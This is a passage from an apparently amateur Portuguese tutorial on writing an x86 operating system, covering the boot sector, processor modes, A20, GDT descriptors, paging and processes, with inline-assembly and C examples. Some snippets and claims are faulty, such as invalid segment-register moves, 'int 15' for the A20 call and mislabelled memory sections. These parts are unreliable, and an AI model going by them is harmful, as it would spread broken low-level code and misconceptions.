Após o boot, estamos em modo real. Para alguns isso já basta, mas para outros, é precisomais :POs sistemas operacionais convencionais que não trabalham em modo real geralmentearmazenam parâmetros importantes da Bios, carregam o kernel, pulam (jmp, goto :P) para elee entram em modo protegido, ou longo (não necessariamente nesta ordem).Se você programa em assembly, talvez esteja questionando "Mas para onde vai EIP?", ou, sevocê programa em C, provavelmente está pensando "Onde fica minha main()?".A resposta é simples: no setor de boot!

Após o boot, a bios procura o disco de boot, que foi previamente configurado na mesma. Nestedisco, a bios olha o primeiro *setor. Se houver neste setor, a assinatura de boot 0x55AA, a bioslerá este setor para a memória e pulará (jmp, goto) para ele.Lá o setor de boot fará o que tiver que fazer, porém, se você faz parte daquele pessoal queestá acostumado a arquivos e tal, talvez você esteja se perguntando como colocar um pedaçode código no setor inicial.

Para quem programa em assembly, é simples. Primeiro monte seu setor de boot, assegure-seque o mesmo possui 512 bytes, que seu código está no início do programa, e não após osdados, não esqueça da assinatura 0x55AA nos dois últimos bytes. Não utilize nenhumainterrupção de _D0S, ou de outro sistema em modo real (interrupções de bios são válidas)depois compile seu código em um arquivo binário e coloque-o no disco de alguma maneira(utilizando algum programa, por exemplo).

Se você programa em C, as coisas são um tanto mais complicadas. Você terá que configurar selinker para colocar o código no início do programa e para criar um arquivo binário. Além disso,

38

Page 39: Equinox Green 2

você não poderá utilizar algumas funções da biblioteca padrão (geralmente funções de E/S),como printf, scanf, open, write, fopen, fwrite, malloc, etc. Se você quiser utilizar estas funções,terá que escrever sua própria biblioteca. As funções de manipulação de conteúdo da memória(memcpy, memcmp, strcpy, strchr) podem ser utilizadas à vontade. Você também terá deimplementar algum tipo de gerenciamento do retorno da função main(), ou seja, não basta o"return 0;" de sempre.

O ideal em termos de setor de boot, é que seja escrito em assembly, já que pode possuirapenas 510 bytes (510 + assinatura( 2 bytes )).

Como dito, uma das opções do setor de boot é pular para o kernel. Antes de vermos o que é okernel, precisamos entender os modos de operação de um x86.

* MODO REAL

O modo real surgiu na arquitetura x86 há bastante tempo. Este modo de operação caracteriza-se por utilizar instruções de 16 bits, e fazer acesso e transferências de dados, primariamenteem 16 bits.O acesso à memória no modo real tem de ser feito utilizando registradores de 16 bits, porém,um valor de 16 bits alcança um valor máximo de 65536 (64KB). Até mesmo para a época emque entrou em vigor o modo real, 64KB não eram suficientes; então criou-se um outro sistemade endereçamento, baseado em segmentos e offsets.Um segmento é um bloco contíguo de 64KB, e um offset é um deslocamento dentro destebloco. Os segmentos iniciam a cada 16 bytes, logo os segmentos são entrelaçados. Para vocêentender melhor, vai um exemplo:

Se você colocar um valor no endereço 0 do segmento 1, este valor inicia-se no 16º byte dosegmento 0, pois a cada 16 bytes, inicia-se um segmento.

OK. Para obter o endereço real na memória da posição do seu segmento, simplesmentemultiplique-o por 16 (Ex.: segmento 90 (90 * 16 = 1440) -> o segmento 90 inicia-se no 1440ºbyte da memória). Os offsets são valores que você utiliza para se deslocar nestes segmentos.Por exemplo, se você deseja acessar o 50º byte do segmento 30, você simplesmente utiliza umoffset de 50!O endereçamento pelo modelo segmento + offset é representado da seguinte maneira:

segmento:offset

Ex. segmento 30, offset 50:

30:500x001E:0x0032

Para mais informações sobre o endereçamento em modo real, e a utilização do mesmo,consulte algum tutorial ou artigo sobre o assunto.

Como o modo real é o modo nativo, não precisamos de intruções especiais para entrarmosnele.

* MODO PROTEGIDO

O modo protegido possui como padrão, instruções e acessos de 32 bits. Este modo deoperação surgiu com os processadores 80386. O acesso à memória neste modo é um poucomais complexo ao nível do sistema, e mais simples ao nível do programador.O modo protegido nos dá um acesso máximo de 4GB de memória (2^32), e, portanto não há anecessidade da utilização de segmentos. Porém, para compatibilidade, a segmentaçãocontinuou neste modo. A principal novidade em termos de memória foi a integração depaginação com auxílio do processador.Para quem desconhece a paginação, ela é um sistema de mapeamento virtual da memória,onde se pode utilizar endereços fisicamente inexistentes, os quais são mapeados para

39

Page 40: Equinox Green 2

endereços físicos reais. A paginação também auxilia no swapping, que é uma técnica quepermite expandir virtualmente o tamanho da memória com o auxílio do disco. Falaremos sobrepaginação mais tarde.

Para entrarmos em modo protegido, precisamos fazer algumas coisas antes:

1. Desabilitar interrupções (veremos interrupções mais tarde)2. Construir e habilitar uma GDT (veremos GDT mais tarde, em memória virtual -> segmentos)3. Habilitar o bit PE no registrador CR04. Executar um far jmp para limpar o fluxo de execução

Vamos a um exemplo:

asm( "cli\n" /* Desabilitamos interrupções */ "lgdt (%%eax)\n" /* Carregamos a gdt com o ponteiro do descritor da tabela em eax */

"mov 8, %%ds\n" /* Salvamos o segmento 8 em %ds */

"mov %%cr0, %%eax\n" /* Colocamos %cr0 em %eax */ "or 1, %%eax\n" /* Habilitamos o bit PE */ "mov %%eax, %%cr0\n" /* Colocamos %eax em %cr0*/

"jmp %%ds:rotulo\n"

"rotulo:" : : "a" (pt_GDT_Desc)); /* pt_GDT_Desc = ponteiro da GDT */

Não se preocupe com a GDT e as interrupções. Vamos a parte que interessa. Primeiro,salvamos o valor 8 em ds, porque quando formos realizar o jmp para limpar o fluxo deexecução (sem esse jmp, continuariamos executando em 16 bits =P), teremos de realizar umfar jmp. O 8, neste caso, se refere ao segmento (veremos mais tarde os segmentos em modoprotegido) ao qual vamos pular. Você deverá alterar este valor para qualquer valor desegmento de código que lhe seja conveniente.

O bit 0 do registrador CR0 nos indica se estamos em modo protegido ou não. Este registradorsó é acessível à programas de sistema (kernel e etc).

Antes de continuarmos, vamos dar uma olhada num subtópico rapidinho:

* A20

O A20 é um bit localizado na port do teclado, utilizado para permitir o acesso aendereços maiores que 1MB. Mesmo em modo protegido, este bit tem de ser ativado, senãoficaremos limitado ao 1º MB. Este bit se localiza na port 0x60. Utilizamos um comando na port0x64 para podermos escrever nesta port.

Não é muito recomendável utilizar as ports para habilitar a A20 porque em algunscasos, simplesmente não funciona. Então, devemos utilizar a bios (enquanto em modo real)para habilitarmos o A20.

Na bios, utilizamos a int 15, com valor 0x2401 para habilitar o A20 e 0x2400 paradesabilitar. Vejamos um código simples para habilitar o A20 (este código deverá ser compiladoem 16 bits):

asm( "mov 0x2401, %ax\n" "int 15");

Simples, né!

* MODO LONGO

Este modo foi introduzido com os processadores da arquitetura AMD64.Neste modo, os acessos são comumente feitos em 64 bits, porém o padrão para as instruções é

40

Page 41: Equinox Green 2

de 32 bits. A maior novidade em termos de memória é o abandono praticamente total dasegmentação.

OBS: Nosso tutorial tem enfoque no modo protegido.

KERNEL:

Você já deve ter lido ou ouvido que o kernel é considerado o coração do sistema operacional.Essa definição ocorre porque o kernel é responsável pela maioria dos recursos e serviçosfornecidos por um sistema operacional. No kernel localizam-se, geralmente, as syscalls e todasas estruturas necessárias para o funcionamento do OS.

Há basicamente dois tipos de kernel: monolítico e microkernel.

O modelo monolítico utiliza um sistema de abstração forte, dando ao programa uma amplavariedade de interfaces para a interação com o hardware, e, conseqüentemente, restringindo oacesso direto ao hardware por meio de programas de usuário. Este tipo de kernel também éum tanto difícil de ser mantido no nível do programador, devido ao conjunto de interaçõescomplexas que ocorrem no mesmo. Este kernel geralmente possui gerenciadores de recursospróprios, e executa em um espaço virtual aberto, ou seja, todos os seus módulos podemutilizar tal espaço e, em alguns casos, todos tem o mesmo tipo de privilégio de acesso,podendo ocasionar problemas caso módulos maliciosos ou "bugados" sejam acoplados aokernel.

O modelo de microkernel possui uma abstração menor em relação ao modelo monolítico,permitindo que os programas de usuário possam interagir com o hardware em determinadassituações (e, ás vezes, com algum controle) e não possuem tantos objetos de abstração como okernel monolítico. Este kernel é mais fácil de ser mantido do que o kernel monolítico,principalmente porque este executa em ambiente virtual fechado, restringindo o acesso dosmódulos ao kernel e ao hardware (quando possível). Isso permite que módulos maliciosos ou"bugados" não comprometam o sistema totalmente. Este tipo de kernel destaca-se tambémpela descentralização de funções, em função de sua simplicidade de abstração, deixando ogerenciamento de determinados recursos para módulos.

O maior problema com os mirokernéis está na performance, pois o fato de ser "separado" deseus módulos gerenciadores causa uma sobrecarga, devido ao trabalho de mudança decontexto de execução, que, em muitos casos, é comparável ao contexto de mudança deexecução entre processos (pense, por enquanto, em processos como programas rodando, maistarde veremos o que são realmente).

SYSCALLS

Uma syscall é uma requisição que um programa faz ao kernel. O tipo de requisição é variável.Podemos ter requisições para a leitura e escrita de arquivos, para o gerenciamento deprocessos (veremos mais tarde), etc.Em C, uma syscall é análoga a uma função, porém uma função que leva o programadiretamente ao kernel.

Dentro do kernel, ou acoplado a ele, como dito anteriormente, encontram-se módulos degerenciamento. Darei alguns exemplos destes módulos e de suas funções:

GERENCIAMENTO DE MEMÓRIA VIRTUAL

Se você nunca ouviu falar de memória virtual, não se preocupe, darei uma explicação.

Memória virtual é um sistema onde se mapeia a memória física para endereços muitas vezesinexistentes. Isso quer dizer que você pode possuir apenas 64 MB de memória e mesmo assimver seu programa rodando no endereço 512 MB. Isso é possível com o auxílio do hardware,geralmente do processador, que faz a tradução do endereço atual em endereço físico. É bomlembrar que, como tal façanha é feita em relação a toda a memória, não somente o código,

41

Page 42: Equinox Green 2

mas também os dados também podem estar em endereços inexistentes (afinal, é tudo a mesmacoisa). Façamos um teste para deixar-mos as coisas mais claras:

/* Programa de exemplo: obtenção de EIP e de um buffer alocado dinamicamente na memória*/

#include <stdio.h>

char *Formato = "\nBuffer = 0x%X, EIP = 0x%X\n\n"; // String a ser imprimida

int main(void){

void *Buffer = (void *) malloc( 8 );

/* Alocamos um buffer para testar o posicionamento do mesmo na memória */

asm(

"call rotulo1\n" /* chamando call, obtemos eip na pilha */

"rotulo1:\n" /* Essa é a nossa função 'void rotulo1(void)' */

"push %%eax\n" /* Salvamos %eax na pilha (Buffer dinâmico) */"push %%ebx\n" /* Salvamos %ebx na pilha (String a ser imprimida) */

"call printf" : : "a" (Buffer), "b" (Formato));

/* Imprimimos */

free( Buffer ); /* Liberamos o buffer */

return 0; /* E damos o fora */

}

Vamos dar uma olhada na saída:

bash# gcc eip_e_buf.c -o eebbash# ./eeb

Buffer = 0x804A050, EIP = 0x80483CB

bash#

OK, como você pode ver, o buffer está no endereço 0x804A050 (aprox. 128 MB). Isso estádentro do meu limite físico (256MB), então, iremos alocar um buffer grande para podermosobter um endereço de alocação dinâmica maior.

/* Programa de exemplo: obtenção de EIP e de um buffer alocado dinamicamente na memória*/

#include <stdio.h>

char *Formato = "\nBuffer = 0x%X, EIP = 0x%X\n\n"; // String a ser imprimida

int main(void){

void *Buffer_aux = (void *) malloc( 1048576 * 200 ); // alocarei 256 MB o0

42

Page 43: Equinox Green 2

if( ! Buffer_aux ) printf( "Erro: alocacao principal" );

void *Buffer = (void *) malloc( 8 );

/* Alocamos um buffer para testar o posicionamento do mesmo na memória */

asm(

"call rotulo1\n" /* chamando call, obtemos eip na pilha */

"rotulo1:\n" /* Essa é a nossa função 'void rotulo1(void)' */

"push %%eax\n" /* Salvamos %eax na pilha (Buffer dinâmico) */"push %%ebx\n" /* Salvamos %ebx na pilha (String a ser imprimida) */

"call printf" : : "a" (Buffer), "b" (Formato));

/* Imprimimos */

free( Buffer ); /* Liberamos o buffer */free( Buffer_aux); /* Liberamos o buffer auxiliar */

return 0; /* E damos o fora */

}

Vamos dar uma olhada na saída:

bash# gcc eip_e_buf.c -o eebbash# ./eebErro: alocacao principalBuffer = 0x9ED00490, EIP = 0x80483CB

bash#

Bom, tivemos um erro de alocação, porém a tentativa de alocação mudou nosso ponteiro,obtivemos desta vez o endereço 0x9ED00490, que equivale a aproximadamente o endereço2.48 GB.

Isso prova que a memória virtual realmente existe!!! :P

A tradução do endereço virtual para o endereço físico é feita pelo processador e é invisível aoprograma de usuário. O kernel (ou algum(s) de seus módulos) é responsável pelogerenciamento e manutenção da tabela de tradução.A memória virtual é útil no contexto de que ela permite que cada programa seja capaz de "ver"o seu espaço virtual como um todo de memória (é como se cada programa fosse capaz depossuir sua própria memória do endereço 0 ao endereço máximo). Isso também permite queprogramas não interfiram no espaço alheio, pois um endereço utilizado por um programa podeser utilizado por outro, e os dados lá presentes não serão os do primeiro programa.

O sistema de implementação de memória virtual mais conhecido atualmente é a paginação.

PAGINAÇÃO

A paginação é um sistema geralmente integrado ao processador, onde se faz a a suamanipulação da memória em blocos chamados páginas. Cada página pode possuir um tamanhoespecífico. Na arquitetura x86, as páginas padrão possuem 4KB, porém é possível termospáginas de 4MB e 2MB. Em outras arquiteturas podemos ter páginas variando de 1KB até

43

Page 44: Equinox Green 2

256MB. É possível mapear o endereço de uma página a partir de sua base. Para quem conheceo sistema binário e hexadecimal, vamos à explicação (quem não entende, pode pular paraSWAPPING):

Quando você vai configurar o endereço, geralmente ele já possui uma base de bits. No caso depáginas de 4KB, esta base é 12. Isso significa que o endereço obtido pela página é umendereço onde se faz "left shifting" com 12 bits (ou multiplica-se o valor por 4096 (é tudo amesma coisa)). Deste modo, você poderá obter com o valor 1, o endereço 4096, com o valor 2,o endereço 8192. Isso impede que uma página esteja contida em outra, porém é possívelmapear áreas de memória em comum, por exemplo, você pode configurar duas páginas com ovalor 1, ou seja, ambas apontam para o endereço 4096.

SWAPPING

Esta técnica surgiu para corrigir a falta de memória de um sistema. A memória virtual é umaboa técnica, pois mostra aos programas endereços inexistentes, além de mantêr umaindividualidade entre estes, porém não aumenta o tamanho da memória, pois você só dispoemda memória existente para fazer o mapeamento.O swapping foi criado para suprir esta necessidade. Utilizando o swapping, você pode obtermais memória do que o que está realmente disponível.O swapping consiste no armazenamento de páginas que não estão sendo utilizadas atualmenteno disco. Com isso, simplesmente armazenamos páginas conforme não estamos utilizando-as eprecisamos de mais espaço. Quando as páginas armazenadas forem requisitadas, o kernel (ouo módulo responsável) retira uma página da memória, se necessário, armazena-a no disco,retira a página requisitada, armazena-a no local onde estava a anterior e configura seuendereço.

Se você já teve algum contato com modo real, ou alguma introdução à arquitetura x86, deveestar notando que eu não falei sobre segmentos. Isso se deve pelo fato de a segmentação serpresente apenas nesta arquitetura e "atrapalhar" quando se fala em portabilidade de código,por tal razão, irei supor que você estará trabalhando com modelo flat (poucos segmentos,geralmente todos de 4GB).

Bem, pessoas, isso é tudo muito bonito e interessante, mas como na prática a teoria é outra,vamos ver como tudo funciona :D

PRÁTICA - MEMÓRIA VIRTUAL

Bem, mesmo não querendo citar os segmentos, é aqui que começamos (infelizmente =[[[).Vamos lá.

Para criar um segmento, definimos uma tabela, onde cada entrada corresponde a um descritorde segmento. Abaixo temos o formato de um descritor:

31 0-------------------------------------------------------------|Base 31:24|G|D/B|0|AVL|Limite 19:16|P|DPL|S|Tipo|Base 23:16| byte 4-------------------------------------------------------------

31 16|15 0-------------------------------------------------------------| Base 15:00 | Limite 15:00 | byte 0-------------------------------------------------------------

A tabela de segmentos (também conhecida como GDT ou LDT) pode contêr até 8192descritores. Cada descritor possui 8 bytes.Vamos ver para que serve cada campo de um descritor:

Exemplo [bits onde se encontram no descritor do byte 4]: descrição

44

Page 45: Equinox Green 2

Base [0:7 e 24:31]: Endereço base do segmento, quando você se referir ao byte 0 destesegmento, fisicamente estará se referindo ao endereço base.

Limite [16:19]: Tamanho do segmento, em incrementos de 1 byte ou 4KB, dependendo do valordo bit G.

G [23]: Bit de granuralidade. Determina de que maneira o limite do segmento seráinterpretado, pois o limite é um valor de 20 bits. Se este bit for 0, o segmento terá seu limiteentre 0 e 1MB, se for 1, o segmento terá seu limite entre 0 e 4GB em blocos de 4KB(multiplicando o valor do limite).

DB [22]: Se o segmento for de código, este bit identifica o tamanho padrão de operações eendereçamento (0 = 16 bits, 1 = 32 bits). Se o segmento for de dados, e for segmento de pilha,o bit identifica o tamanho dos dados a serem colocados na pilha (0 = 16 bits, 1 = 32 bits). Se osegmento for de dados expansível , o bit identifica o tamanho máximo do segmento (0 = 64KB,1 = 4GB).

0 [21]: Tem que sempre ser zero

AVL [20]: Bit disponível para você utilizar como quiser.

P [15]: Bit que identifica se o segmento está presente ou ausente na memória. Muito bom sevocê for fazer swapping de um segmento inteiro ^^

DPL [13:14]: Identifica o nível de privilégio do segmento. Veremos isso quando falarmos sobreproteção na arquitetura.

S [12]: Identifica um segmento de códigos ou dados (bit = 1) ou um segmento de sistema (bit= 0).

Tipo [8:11]: Identifica o tipo de segmento. Vejamos os tipos disponíveis:

Para segmento de código:

Bit 0: Bit de segmento acessadoBit 1: Bit de permissão de leitura do segmentoBit 2: Bit de identificação de segmento do tipo "conforming"Bit 3: Bit de identificação de segmento de código (sempre 1 para segmentos de código)

Para segmento de dados:

Bit 0: Bit de segmento acessadoBit 1: Bit de permissão para escrita no segmentoBit 2: Bit de identificação de segmento expansívelBit 3: Bit de identificação de segmento de código (sempre 0 para segmentos de dados)

É bom lembrar que a pilha tem que ficar num segmento de dados :P

Para quem trabalha com C e não está acostumado a trabalhar com bits pode ser complicado,então vamos criar uma função para criar e obter um descritor:

/* Flags para tipo de segmento *//* Para dados */

#define S_DADOS 0 /* Segmento de dados (não é realmente necessário)*/#define S_ACESSADO 1 /* Segmento acessado */#define S_ESCRITA 2 /* O segmento possui permissão de escrita */#define S_EXPAND 4 /* O segmento é expansível */

45

Page 46: Equinox Green 2

/* Para codigo */

#define S_CODIGO 8 /* Segmento de código (é necessário) *//* #define S_ACESSADO 1 */ /* Segmento acessado */#define S_LEITURA 2 /* O segmento possui permissão de leitura */#define S_CONFORM 4 /* O segmento é do tipo "conforming" */

struct Descritor{

unsigned long Base; // Endereço base do segmentounsigned long Limite; // Tamanho do segmento

unsigned long Tipo; // Flags de tipounsigned long Sistema; // É segmento de sistema? (0 = não)

unsigned long DB; // Informações sobre tamanhounsigned long DPL; // DPL do segmentounsigned long Gran; // Granularidadeunsigned long Avl; // Bit disponível

unsigned long Presente; // Segmento presente?

};

void CriarDescritor(Descritor *Desc, void buf){

/* buf deve possuir no min 8 bytes *//* Criamos um descritor em buf a partir dos dados em Desc */

char *Buffer = (char *) buf;

memcpy( Buffer + 0, & Desc->Limite, 2 );memcpy( Buffer + 2, & Desc->Base, 2 );

Buffer[4] = Desc->Base >> 16;Buffer[5] = Desc->Tipo;

if( ! Desc->Sistema )

Buffer[5] |= 0x8;

Buffer[5] |= Desc->DPL << 5;

if( Desc->Presente )

Buffer[5] |= 0x80;

Buffer[6] = (Desc->Limite << 12) >> 28;

if( Desc->Avl )

Buffer[6] |= 0x4;

if( Desc->DB )

Buffer[6] |= 0x10;

46

Page 47: Equinox Green 2

if( Desc->Gran )

Buffer[6] |= 0x20;

Buffer[7] = Desc->Base >> 24;

}

void RetornarDescritor(void *buf, Descritor *Desc){

/* buf deve possuir no min 8 bytes *//* Retornamos um descritor em Desc a partir dos dados em buf */

char *Buffer = (char *) buf;

memcpy( & Desc->Limite, Buffer + 0, 2 );memcpy( & Desc->Base, Buffer + 2, 2 );

Desc->Base += (unsigned char) Buffer[4] << 16;

Desc->Tipo = (unsigned char) Buffer[5] ^ ((unsigned char) Buffer[5] >> 4) << 4;

Buffer[5] & 0x8 ? Desc->Sistema = 0 : Desc->Sistema = 1;

Desc->DPL = (unsigned char) Buffer[5] >> 5 ^((unsigned char) Buffer[5] >> 7) << 2;

Buffer[5] & 0x80 ? Desc->Presente = 1 : Desc->Presente = 0;

Desc->Limite += (unsigned char) Buffer[6] << 16;

Buffer[6] & 0x4 ? Desc->Avl = 1 : Desc->Avl = 0;Buffer[6] & 0x10 ? Desc->DB = 1 : Desc->DB = 0;Buffer[6] & 0x20 ? Desc->Gran = 1 : Desc->Gran = 0;

Desc->Base += (unsigned char) Buffer[7] << 24;

}

Eu tenho o péssimo hábito de não comentar meus códigos e além disto tem de se ter uma basebinária para entender o que ocorre nestas funções, porém elas fazem o que prometem =]

Essas funções podem ser úteis se você pretende trabalhar com segmentos dentro de um OS(talvez um módulo no linux :P).

Quando um segmento é de sistema, temos as seguintes possibilidades para o campo tipo:

0x1 : TSS de 16 bits (disponível)0x3 : TSS de 16 bits (ocupada)0x9 : TSS de 32 bits (disponível)0xB : TSS de 32 bits (ocupada)

0x2 : LDT

0x4 : Task gate0x6 : Interrupt gate de 16 bits0x7 : Trap gate de 16 bits

47

Page 48: Equinox Green 2

0xC : Call gate de 32 bits0xE : Interrupt gate de 32 bits0xF : Trap gate de 32 bits

Todos os outros valores são reservados.

TSSs são segmentos que descrevem uma tarefa (processo, thread, job, etc). Veremos a funçãode TSSs quando falarmos sobre processos e threads.Gates são segmentos onde se localizam funções especiais, que podem acessadas somente pordeterminados programas, ou onde o conteúdo de tais funções tem de rodar sob um ambientemais ou menos protegido (veremos gates no tópico interrupções).

A tabela de segmentos é carregada no registrador GDT (isso mesmo, quando trabalhamos comsoftware de sistema, existem masi registradores para trabalharmos :D). Veja um exemplo decarregamento do registrador:

char Buffer[6]; /* Buffer onde armazenaremos o descritor da GDT */

short tamanho = tamanho_da_tabela - 1;long endereco = endereco_fisico_da_tabela;

memcpy( Buffer, & tamanho, 2 ); /* Copiamos o tamanho da tabela */

memcpy( Buffer + 2, & endereco, 4); /* E seu endereço para o Buffer */

asm( "lgdt (%%eax)" : : "a" ( Buffer )); /* Carregamos a tabela */

A instrução lgdt carrega os valores presentes no ponteiro de seu parâmetro. Essademonstração utiliza a instrução de 32 bits. Use o opcode 66h para obter essa instrução emambiente 16 bits. O primeiro valor deverá possui 2 bytes, e equivale ao tamanho da tabela - 1.O segundo valor deverá possuir 4 bytes e equivale ao endereço fisico da tabela.

OK, agora vamos abandonar toda esta segmentação chata e iremos ver a paginação :DDD.

A paginação ocorre com base em tabelas, como a GDT, porém com descritores diferentes, e,no caso de páginas de 4KB (padrão) necessitamos de duas tabelas. A primeira destas duastabelas chama-se diretório de páginas,e suas entradas identificam a segunda tabela, chamadade tabela de páginas. Esta, por sua vez, identifica a página em si. Ambas as tabelas podem ter,no máximo, 1024 entradas. Vejamos um exemplo de descritores para páginas de 4KB:

Descritor de tabela de páginas de 4KB (descritor presente no diretório de páginas)

31 0-----------------------------------|Base|Avl|G|PS|0|A|PCD|PWD|US|RW|P|-----------------------------------

Descritor de página de 4KB (descritor presente na tabela de páginas)

31 0------------------------------------|Base|Avl|G|PAT|D|A|PCD|PWT|US|RW|P|------------------------------------

OBS: Os campos ocupam exatamente os mesmos bits em ambos os descritores.

Base [12:31]: Endereço físico da tabela/página. Este endereço é multiplicado por 4096, ouseja, a tabela/página deve estar alinhada em 4KB.

Avl [9:11]: Bits disponíveis para o programador.

48

Page 49: Equinox Green 2

G [8]: Página global (ignorado no descritor de tabela de páginas). Este bit previne que apágina seja invalidada durante a troca de contextos entre processos e a mudança de diretóriode páginas. Útil para páginas que contêm o kernel, por exemplo.

PS/PAT [7]: PS = tamanho de página (sempre 0 para páginas de 4KB). PAT = Este bitseleciona um modelo de cacheamento de página diferente do normal. Veremos se eu lembrarde escrever algo sobre cacheamento de memória.

o/D [6]: 0 = sempre zero. D = bit de página suja. É disponível para ser utilizado pelo softwarede gerenciamento de páginas. Quando a página for utilizada para escrita, este bit é setado (D= 1) pelo processador, e o software de gerenciamento pode verificar se a página foi utilizadapara a escrita mais tarde. Este bit não é limpo (D = 0) pelo processador. O software degereciamento deve zera-lo por conta própria.

A [5]: Bit de página acessada. É setado (A = 1) quando a página é acessada para leitura ouescrita pelo processador. O software de gerenciamento de páginas também é responsável porlimpar este bit.

PCD [4]: Bit de desabilitação de cacheamento de memória. Este bit impede que atabela/página referente ao descritor atual seja colocada no cache do processador.

PWT [3]: Controla o tipo de cacheamento a ser utilizado. Se este bit for 0, utiliza-se o modelowrite-back. Se for 1, utiliza-se write-through.

US [2]: Identifica uma página/tabela de usuário (US = 1) ou uma página/tabela de supervisor(software de sistema [kernel]) (US = 0).

RW [1]: Se for 0, a página/tabela é somente leitura. Se for 1, a página/tabela pode ser lida eescrita.

P [0]: Identifica se a página/tabela está presente na memória (bom para utilizar comswapping).

Quando utilizamos páginas de 4MB, o descritor é praticamente o mesmo, e utilizamos somenteuma tabela, a de diretório, porém suas entradas apontam diretamente para as páginas.

Descritor de página de 4MB (descritor presente no diretório de páginas)

31 0-------------------------------------------|Base|Res|PAT|Avl|G|PS|D|A|PCD|PWT|US|RW|P|-------------------------------------------

O campo Res é reservado, deverá sempre ser 0.A novidade aqui é que alguns campos estão em lugares diferentes. Abaixo segue os camposdeste descritor que não são comuns aos descritores de tabela de páginas e suas respectivasposições:

Base [22:31], Res [13:21], PAT [12].

No caso de páginas de 4MB, PS deverá ser 1.

O diretório de páginas é carregado no registrador de sistema CR3 (da mesma maneira quecarregamos o cr0 anteriormente). Apenas os bits 12:31 armazenam o endereço do diretório,forçando o mesmo a estar em um endereço múltiplo de 4096 (4KB). O bit 3 controla ocacheamento do diretório. Se for 0, o modelo é write-back, caso contrário, é write-through. Obit 4 desabilita o cacheamento do diretório se for 1, se for 0, o cacheamento é permitido.

49

Page 50: Equinox Green 2

Bom, vamos ver como acontece a tradução da memória virtual, acessando um endereço virtualaleatório:

Escolhi o endereço 3493867552 (0xD0403020), que corresponde a aprox. 3.25GB. Vejamos osesquemas de tradução:

Tradução de memória virtual para páginas de 4KB

31 22|21 12|11 0-------------------------------| Diretório | Tabela | Offset |-------------------------------

Tradução de memória virtual para páginas de 4MB

31 22|21 0-------------------------------| Diretório | Offset |-------------------------------

OK. Vamos decompor os endereços para obtermos a memória física.

Diretório: 10 bitsTabela: 10 bitsOffset: 12 bits (4KB) ou 22 bits (4MB)

OBS: O diretório e a tabela são acessados com 10 bits do endereço cada um. Por essa razãopodemos ter somente 1024 entradas na tabela (2^10 = 1024 = 1111111111b = 0x3FF =1023).

0xD0403020

Valor binário: 11010000010000000011000000100000

Páginas de 4KB:

Diretório: 1101000001 (0x341) (833)Tabela: 0000000011 (0x003) (003)Offset: 000000100000 (0x020) (032)

Isso significa que pegaremos a entrada número 833 no diretório. Iremos para a tabelaapontada por essa entrada. Na tabela olharemos para a entrada número 3, nessa entradaverificaremos o endereço físico da entrada (não esqueça de deslocar a base multiplicando por4KB ou fazendo "left shifting" por 12). Iremos até o endereço física da página, e adicionamos32. Pronto, obtemos o endereço físico do byte a ser acessado.

Para páginas de 4MB, a única diferença é que a entrada 833 do diretório apontará diretamentepara uma página (não esqueça de deslocar a base multiplicando por 4MB ou fazendo "leftshifting" por 22). E o offset será o deslocamento dentro dessa página.

É importante lembrar que é o processador quem faz todo este trabalho, e, a menos que okernel necessite obter o endereço físico para algum propósito, a única preocupação do kerneldeverá ser a de montar corretamente as tabelas de acordo com o endereço necessitado.

Talvez você ainda não tenha entendido como é possível que cada programa possua o máximode memória em seu espaço virtual. Vamos a um exemplo:

50

Page 51: Equinox Green 2

O programa A ocupa os seguintes endereços da sua memória virtual:

------------------| 1MB - 64MB |------------------| 512MB - 700 MB |------------------| 3GB - 3.5GB |------------------

Isso significa que ele possui páginas mapeadas para estes endereços, porém esas páginasprovavelmente estarão em outras posíções na memória física.

Quando iniciamos o programa B, guardamos o diretório de páginas do programa A em algumlugar. Então, trocamos o diretório de páginas do programa A, pelo diretório do programa B.Com a mudança de diretório, o programa B possuirá seu próprio espaço virtual, ou seja, elepoderá utilizar endereços virtuais utilizados por A, porque seu diretório de páginas é diferentedo de A, e suas páginas estão mapeadas apenas em seu diretório. Assim, o programa B poderáter estruturas e dados que ocupam as mesmas posições ocupadas no mesmo espaço virtual deA, porém, esta memória estará mapeada num diretório de páginas diferente.

OK, chega de memória virtual. Para fazer swapping você deve estar apto a trabalhar com odisco e isso é um tanto chato, mas se eu lembrar, no fim do artigo coloco algumas informaçõessobre discos IDE/ATA.

MULTITAREFA

Há algum tempo (até o início da década de 1990), eram comuns os sistemas onde apenas umprograma rodava por vez. Com o passar do tempo, essa situação se tornou insustentável, esurgiram sistemas que utilizam a técnica de multitarefa. Esta técnica é bem simples: Dá-seuma quantidade de tempo para o programa 1, este é executado, e após a quantidade de tempopertencente ao programa 1 passar, salvamos informações sobre seu estado e executamos oprograma 2.

A estrutura onde se armazena as informações que permitem dar continuidade é geralmentechamada de contexto. Nesta estrutura se encontram, geralmente, informações como os valoresdos registradores.

PROCESSOS

Um processo é uma abstraçâo, analogo a um programa rodando, ou seja, um processo ecomposto basicamente por seções de um arquivo binario.O sistema operacional é responsavel pelo gerenciamento dos processos que estão emexecução em um determinado ambiente computacional. Quando um processo é criado, osistema operacional inicializa estruturas de manutenção da execução do processo (ex:manipuladores de arquivo, recursos de sistema, contexto, etc). Estas estruturas sãonecessárias porque o modelo computacional de ambiente de trabalho utilizado atualmente fazuso da "multitarefa".

Um processo é basicamente composto de:

* Contexto* Espaço Virtual

Em seu espaço virtual, encontramos suas seções, ou seja, seu código, dados e uma áreadestinada à alocação dinâmica. O modelo mais comum de organização da memória emsistemas linux é o seguinte:

51

Page 52: Equinox Green 2

------------| .DATA |------------| .BSS |------------| .TEXT |------------

.DATA: Seção de dados estáticos e da pilha.

.BSS: Seção de dados dinâmicos

.TEXT: Seção de código

Os processos geralmente encontram-se em um de 3 estados diferentes: rodando, esperando ebloqueado.Um processo que está rodando está sendo executado agora no processador. Quando seu tempode execução terminar, ele vai para a lista de espera. Se ele relizar alguma operação de E/S,será bloqueado.Um processo que está esperando está num fila, esperando sua vez de executar.Um processo bloqueado é um processo que está aguardando um recurso do sistema, ou afinalização de uma operação de entrada ou saída (E/S). Geralmente um processo bloqueado écolocado na fila de espera quando liberado.Os processos são sempre gerenciados pelo kernel ou um de seus módulos.

THREADS

